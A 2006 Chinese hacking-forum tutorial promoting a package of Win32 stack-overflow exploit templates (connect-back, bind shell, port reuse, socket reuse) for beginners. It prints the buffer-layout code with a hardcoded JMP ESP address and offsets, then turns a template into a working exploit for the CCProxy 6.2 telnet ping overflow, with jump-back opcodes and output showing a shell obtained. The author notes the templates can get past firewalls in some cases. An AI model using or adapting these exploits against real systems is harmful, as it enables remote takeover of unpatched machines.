文章来源:邪恶八进制安全团队 (http://www.eviloctal.com)
文章作者:wofeiwo [S4T]
这个压缩包里,是我3天来学习win32下shellcode和exploit编写的成果
做了4个exploit的模板,一个connect back,一个bind shell,一个reuse port,一个是通过查找特殊字符匹配socket达到只用一个socket得到shell的(这两个可以在特定情况下穿透防火墙).当然,自己用asm写出主体程序我还没那个本事和耐性.生成shellcode的函数都使用了别人的,第一个是lion的,后面则是<网络渗透技术>资料中找到的.我只是做了点修改.使用这些exploit模板,编写多数的基于栈的溢出,基本只需要修改main函数的部分就可以了.多数情况下,甚至只要修改设定buff的部分就ok.当然,如果你是高手,那么就请修改shellcode生成部分吧 : )
exploits目录里,就是那4个exploit的模板.其中mse.c里面我做了比较详细的注释,介绍了每部分的功能,可以参照那个文件看其他原代码.4个shellcode都是通过peb查找kernel32.dll基址,再加密函数hash来动态查找所需要动态联接库和函数来实现功能的,在所有winNT系列系统上通用.server.cpp则是xfocus那本书中的一个漏洞示例代码,建议大家先看原代码再看文章,或是边看文章边读代码,毕竟代码才是真正的精髓.
以下做个简单的演示给各位.
(注: 以下代码都是在winXPSP2+VC6.0环境测试)
server.cpp里:
复制内容到剪贴板
代码:
void overflow(char * s,int size)<br />{<br /> char s1[50];<br /> printf("receive %d bytes\n",size);<br /> s[size]=0;<br /> strcpy(s1,s);<br />}这个函数的局部变量s1只能接受50字符的输入,多了就会溢出.在debug编译模式下,覆盖字符为56,release模式下覆盖字符为52.(这里不解释缓冲区溢出具体原理了,请参看其他资料).
bpe.c中:
复制内容到剪贴板
代码:
memset(Buff, 0x90, sizeof(Buff)-1); <strong>//先使用nop填充</strong><br />//memcpy(Buff+56, JMPESP, 4); <strong>//Debug mode<br /></strong>memcpy(Buff+52, JMPESP, 4); <strong>//jmpesp<br /></strong>strcpy(Buff+60, (unsigned char *)sh_Buff); <strong>//shellcode</strong>以上代码在文件中我标示出来了,应该很好找到.这里使用的JMPESP是简体中文winnt系列系统通用的0x7ffa4512,是在Ansi Code Page里找到的.如果要溢出其他版本windows,请注意替换文件开头定义的宏JMPESP.
基本上对于标准的栈溢出需要修改的就是以上的代码.我后面还会举例.先来看这个文件的执行效果.
首先双击执行server.exe,运行服务端,他开的端口是21.
引用:
C:\exploits>bpe //先看看帮助信息
Bind port exploit
Author: wofeiwo
Date: Jun 15th 2006Usage:bpe [port]
bind_port: The port to bind shell.
port: The port to connect target,on default the port is 21.
C:\exploits>bpe 44444 127.0.0.1 21
Bind port exploit
Author: wofeiwo
Date: Jun 15th 2006
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\Documents and Settings\wofeiwo\桌面>exit //exploit会自动连接shellcode开的端口
exit
[-] Connection closed.
C:\exploits>
成功,其他exploit程序我就不一一演示了,各位直接运行看看帮助就知道用法了.
下面来讲讲真正的实例,ccproxy 6.2的telnet代理溢出用我的模板是怎样修改成一个exploit的.
先看漏洞的具体情况:ccproxy 6.2在处理telnet代理时ping命令存在一个栈溢出,具体填充buff是在1016左右.
ok,来看我是怎么改的.
ccproxy目录下的两个c文件就是我修改好的exploit,另附上ccproxy6.2的安装文件看改好的bpe.c里的代码
复制内容到剪贴板
代码:
bpe.c:<br />memset(Buff, 0x90, sizeof(Buff)-1); <strong>//先使用nop填充<br /></strong>memcpy(Buff, "ping ", 5); <strong>//前5个字符是"ping"加个空格<br /></strong>memcpy(Buff+1017, JMPESP, 4); <strong>//我在我的机器上调试,发现真正的填充区需要1017个字符.<br /></strong>memcpy(Buff+685, (unsigned char *)sh_Buff, sh_Len); <strong>//因为填充区很长,我把shellcode放在了前面<br /></strong>memcpy(Buff+1021, sc, 12); <strong>//这里是跳回前头shellcode的代码,因为填充了nop,所以定位可以不必那么准确<br /></strong>memcpy(Buff+sizeof(Buff)-2, "\r\n", 2);<br />//printf("buff:\n"); <strong>//这两行是用来打印最终发送数据内容的,在调试过程中,学会使用这种方法作用很大<br /></strong>//PrintSc(Buff, sizeof(Buff)); <strong>//PrintSc函数很有用,用c格式打印缓冲区中的内容</strong>对比一下前面的buff,shellcode没有变,只是多了个ping命令作为开头,并且有了个sc做跳转,sc的定义如下:
复制内容到剪贴板
代码:
bpe.c main函数中:<br />unsigned char sc[]={0xB9,0x11,0x11,0xE1,0x15,0xC1,0xE9,0x14,0x2B,0xE1,0xFF,0xE4}; <strong>//就是跳前0x15E个字符执行,注意sc[3]和sc[4]</strong>还有的改动就是在定义buff时扩大到2048以存放我们的shellcode.(其实可以更小点,浪费了)看看我们的执行结果:
引用:
C:\ccproxy>bpe //先看看帮助信息
CCPROXY 6.2 TELNET Bind port exploit
Author: wofeiwo
Date: Jun 15th 2006Usage:bpe [port]
bind_port: The port to bind shell.
port: The port to connect target,on default the port is 21. //这里忘了改,失误失误..
C:\ccproxy>bpe 1234 127.0.0.1 23
CCPROXY 6.2 TELNET Bind port exploit
Author: wofeiwo
Date: Jun 15th 2006
Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\windows\system32>exit //exploit会自动连接shellcode开的端口
exit
[-] Connection closed.
C:\ccproxy>
成功,是否十分方便?菜鸟编写exploit也就不需要头痛麻烦了. : )
我还对ccproxy修改了cbe也就是反向连接的exploit,大家也可以参考下exploit的原代码.另两个exploit我则没有动,留给朋友们自己修改调试吧.
wofeiwo Jun 27th 2006
wofeiwo[0x40]gmail[0x2e]com
PS:由于上次的中毒事件,请各位下载压缩包后杀毒再使用,另注意有些编译好的exe会被报成是ms04-11的exp,可能是使用了同样的代码,注意别误删除了